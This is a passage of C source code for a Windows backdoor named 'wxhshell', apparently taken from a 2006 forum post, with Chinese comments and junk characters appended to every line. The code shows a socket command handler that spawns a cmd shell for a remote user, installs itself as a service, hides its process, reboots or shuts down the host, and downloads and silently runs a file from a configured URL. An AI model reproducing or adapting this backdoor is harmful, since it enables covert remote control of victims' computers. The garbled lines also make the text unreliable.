    switch(cmd[0]) { _SU,f>  
  d@_'P`%-  
  // 帮助 h#$ _<U  
  case '?': { M80}3mgP~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 37.) @  
    break; y}3 `~a  
  } yYVW"m  
  // 安装 ^!zJf7(+<>  
  case 'i': { /DgT1^&0  
    if(Install()) ! hOOpZ f7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q8&4=eV\A  
    else H620vlC}V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D/+@d:-G  
    break; .&aVx]  
    } e7)>U!9c9  
  // 卸载 z:@d@\$?  
  case 'r': { +]aD^N9['  
    if(Uninstall()) w*]_FqE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @]}Qh;a~  
    else Udb0&Y1^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7lnM|nD  
    break; o.v,n1Nm  
    } s (l+{b &  
  // 显示 wxhshell 所在路径 tSw~_s_V  
  case 'p': { > 2!^ dT^D  
    char svExeFile[MAX_PATH]; 3|z;K,`Fw  
    strcpy(svExeFile,"\n\r"); @U7U?.p  
      strcat(svExeFile,ExeFile); +btP]?04  
        send(wsh,svExeFile,strlen(svExeFile),0); *<#]&2I  
    break; %'K+$  
    } L%=BCmMx  
  // 重启 ?dATMmT-  
  case 'b': { X.r!q1_c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +'{:zN5m  
    if(Boot(REBOOT)) 3R Y|l?n>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fb;hf:B:  
    else { U O{xpY  
    closesocket(wsh); d1C/u@8^  
    ExitThread(0); )%-\hl]  
    } C/grrw  
    break; \, X?K  
    } P17]}F``  
  // 关机 $n_sGr  
  case 'd': { tPMg Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0|f_C3  
    if(Boot(SHUTDOWN)) ]VO,} `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^|$cvYiL  
    else { }b\ipA,~  
    closesocket(wsh); *(_ON$+3  
    ExitThread(0); x&6i@Jl  
    } 7D9h;gsP  
    break; A=l?IC@O  
    } <#J<QYF&2  
  // 获取shell Z:}2F^6  
  case 's': { ]2u7?l  
    CmdShell(wsh); =#PudF.\  
    closesocket(wsh); a*e|>pDO  
    ExitThread(0); $[L)f| l  
    break; QvyUd%e'5A  
  } {BwN4r46  
  // 退出 :;#c:RKi:  
  case 'x': { y D=)&->Ra  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +LU).  
    CloseIt(wsh); Qcy+ {j]  
    break; ;_;H(%uY  
    } NEjB jLJZ  
  // 离开 j2C^1:s@m  
  case 'q': { ^{:[^$f:l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aNh1e^j  
    closesocket(wsh); <jg wdbT"6  
    WSACleanup(); jAK`96+D~b  
    exit(1); +&@l{x(,  
    break; RM / s :  
        } 9EY_R&Yq%  
  } jDkc~Wwa  
  } vzgudxG'z  
3k|~tVM  
  // 提示信息 PhaQ3%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %%H. &*i,  
} }9fV[zO  
  }  4pOc`  
M KE[Yb?  
  return; 5juCeG+Z  
} sC'A_-'  
TQyFF/K  
// shell模块句柄 +k"8e?/e.  
int CmdShell(SOCKET sock) {Rh+]=7  
{ _{@}Fd?o  
STARTUPINFO si; 1OJD\wc  
ZeroMemory(&si,sizeof(si)); \H'CFAuF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~wQ WWRk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bB[*\  
PROCESS_INFORMATION ProcessInfo; }j5@\c48  
char cmdline[]="cmd"; I(r5\A=   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~(L<uFU V  
  return 0; F b`7 aFIf  
} :/?R9JVI  
{  /Q?  
// 自身启动模式 ob()+p.kK  
int StartFromService(void) *1 eTf  
{ '3kL=(  
typedef struct aABE= 9Y  
{ 5;uX"z G  
  DWORD ExitStatus; ^[,1+WS%  
  DWORD PebBaseAddress; GA*Khqdid  
  DWORD AffinityMask; & ;x1Rx  
  DWORD BasePriority; Zm'::+ tl  
  ULONG UniqueProcessId; wBaFC\CW  
  ULONG InheritedFromUniqueProcessId; 4~J1pcBno%  
}   PROCESS_BASIC_INFORMATION; 4pHPf<6  
k?*DBXJv  
PROCNTQSIP NtQueryInformationProcess; =u1w\>(2Y  
,)\5O0 D6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `oI/;&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x'PjP1  
'jO-e^qT  
  HANDLE             hProcess; J}`$WL:  
  PROCESS_BASIC_INFORMATION pbi; )^a#Xn3z  
[/`Hz]R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _TeRsA  
  if(NULL == hInst ) return 0; iPi'5g(a   
"r(pK@h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V s t e$V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9kiy^0 7G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [(ib9_`A'1  
Hw-oh?=  
  if (!NtQueryInformationProcess) return 0; x)Om[jZE  
5~TA(cb5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N`^W*>XB  
  if(!hProcess) return 0; KPvYq?F>4  
_1bd)L&dF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m##z  
HK4`@jYQ  
  CloseHandle(hProcess); XhkL)) FcG  
(E]K)d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x@(f^P  
if(hProcess==NULL) return 0; pt;Sk?-1  
Gb)iB  
HMODULE hMod; m&vYZ3vK[  
char procName[255]; ~.=!5Ry  
unsigned long cbNeeded; z.F+$6  
[==Z1Q;=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]3cf}Au  
0a-:x4  
  CloseHandle(hProcess); $ }bC$?^  
_|#|mb4Fe  
if(strstr(procName,"services")) return 1; // 以服务启动 \.-y LS.  
g?Ty5~:lq  
  return 0; // 注册表启动 n \NDi22  
} xaaxj  
~Am %%$  
// 主模块 17i@GnbNb  
int StartWxhshell(LPSTR lpCmdLine) {Ao^3vB  
{ "f$A0RL  
  SOCKET wsl; OnPLz"-  
BOOL val=TRUE; #NxvLW/  
  int port=0; hA19:H=7R0  
  struct sockaddr_in door; hLA=7  
v=^)`C6Ma  
  if(wscfg.ws_autoins) Install(); yxq!. 72  
X-^Oz@.>  
port=atoi(lpCmdLine); 8o!^ZOmU<  
y#W8] <dS"  
if(port<=0) port=wscfg.ws_port; :fQ*'m,  
aWK7 -n  
  WSADATA data; \crmNH)3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \O4=mJ  
s,q!(\{Pv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R^C;D 2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K#yH\fn8  
  door.sin_family = AF_INET; R')GQ.yYq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +*~3"ww<  
  door.sin_port = htons(port); 87*[o  
@WE$%dr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /{} ]Hu  
closesocket(wsl); E8 )*HOT_T  
return 1; 30-w TcG  
} fxa^SV   
-$p-o Z)  
  if(listen(wsl,2) == INVALID_SOCKET) { a{6|[a R  
closesocket(wsl); 4v JIO{m  
return 1; +Uk.|@b=-V  
} U7'oI;C$e  
  Wxhshell(wsl); wB GxJ\+M  
  WSACleanup(); d'J?QH!N0  
N%i<DsK.u6  
return 0; 9~ af\G  
{u][q &n  
} PQay sdb  
+u.L6GcB  
// 以NT服务方式启动 cK/odOi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \'b- ;exH  
{ c9k,Dc  
DWORD   status = 0; B75SLK:h=  
  DWORD   specificError = 0xfffffff;  X;g|-<  
v2g+o KO]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tr+~@]I+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {1c eF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (9%%^s]uPT  
  serviceStatus.dwWin32ExitCode     = 0; 0:S)2"I58p  
  serviceStatus.dwServiceSpecificExitCode = 0; j3F=P  
  serviceStatus.dwCheckPoint       = 0; *mt v[  
  serviceStatus.dwWaitHint       = 0; r4zS,J;,  
GT0'bge  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 351'l7F\  
  if (hServiceStatusHandle==0) return; ?Fw/c0  
\`x'g)z(i  
status = GetLastError(); 8h 2?Q  
  if (status!=NO_ERROR) [b'fz  
{ ak&v/%N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hR{Zh>  
    serviceStatus.dwCheckPoint       = 0; EpMEA1=&  
    serviceStatus.dwWaitHint       = 0; 6Z=H>w  
    serviceStatus.dwWin32ExitCode     = status; 6.=b^6MV  
    serviceStatus.dwServiceSpecificExitCode = specificError; <GEn9;\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BW[K/l~"$:  
    return; jz0\F,s  
  } HDxw2nz*R  
&*SnDuc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }(6k7{,Gw,  
  serviceStatus.dwCheckPoint       = 0; .? / J  
  serviceStatus.dwWaitHint       = 0; Rl8-a8j$f.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W,+91rup  
} Q0q$ZK6C  
VVOt%d  
// 处理NT服务事件,比如:启动、停止 :Tl?yG F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N<WFe5  
{ sq$|Pad[  
switch(fdwControl) XjNu|H/  
{ $x*GvI1D  
case SERVICE_CONTROL_STOP: >kT~X ,o  
  serviceStatus.dwWin32ExitCode = 0; =uTV\)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >Fh@:M7z  
  serviceStatus.dwCheckPoint   = 0; }+1oD{  
  serviceStatus.dwWaitHint     = 0; f|)t[,c  
  { NST6pu\,U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 03T.Owd  
  } Y#,MFEd  
  return; ,vj^AXU  
case SERVICE_CONTROL_PAUSE: v2Y=vr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ){~.jP=-#  
  break; 1g+<`1=KT  
case SERVICE_CONTROL_CONTINUE: V}?5=f'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m~A/.t%=  
  break; t=#)3C`Q}  
case SERVICE_CONTROL_INTERROGATE: I 3PnyNZ  
  break; E83nEUs  
}; Cz%ih#^b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 71InYIed  
} YoA$Gw2  
he #iWD'  
// 标准应用程序主函数 C/=ZNl9"fn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J^cDa|j  
{ I(SE)%!%S  
w93,N+es6  
// 获取操作系统版本 *yx:nwmo  
OsIsNt=GetOsVer(); ;iVyJZI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sz&`=x#  
cA kw5}P   
  // 从命令行安装 4(]k=c1<  
  if(strpbrk(lpCmdLine,"iI")) Install(); @U5o;X!qU  
&[uGfm+@  
  // 下载执行文件 CDhk!O..  
if(wscfg.ws_downexe) { q6dq@   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S6 *dp68  
  WinExec(wscfg.ws_filenam,SW_HIDE); .67W\p  
} "]<Ut{Xb  
YuZnuI@m9  
if(!OsIsNt) { ]M/w];:  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]Az >W*Y  
HideProc(); QG.FW;/L,  
StartWxhshell(lpCmdLine); HO>uS>+  
} 9viC3bj.o  
else "rtmDNpL  
  if(StartFromService()) 5h&8!!$[  
  // 以服务方式启动 Z)<>d.  
  StartServiceCtrlDispatcher(DispatchTable);  <_~`)t  
else cl:YN]BK  
  // 普通方式启动 &x3y.}1  
  StartWxhshell(lpCmdLine); qM)^]2_-  
{<lV=0]  
return 0; N*#SY$!y  
}
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只看该作者 1 发表于: 2006-10-10
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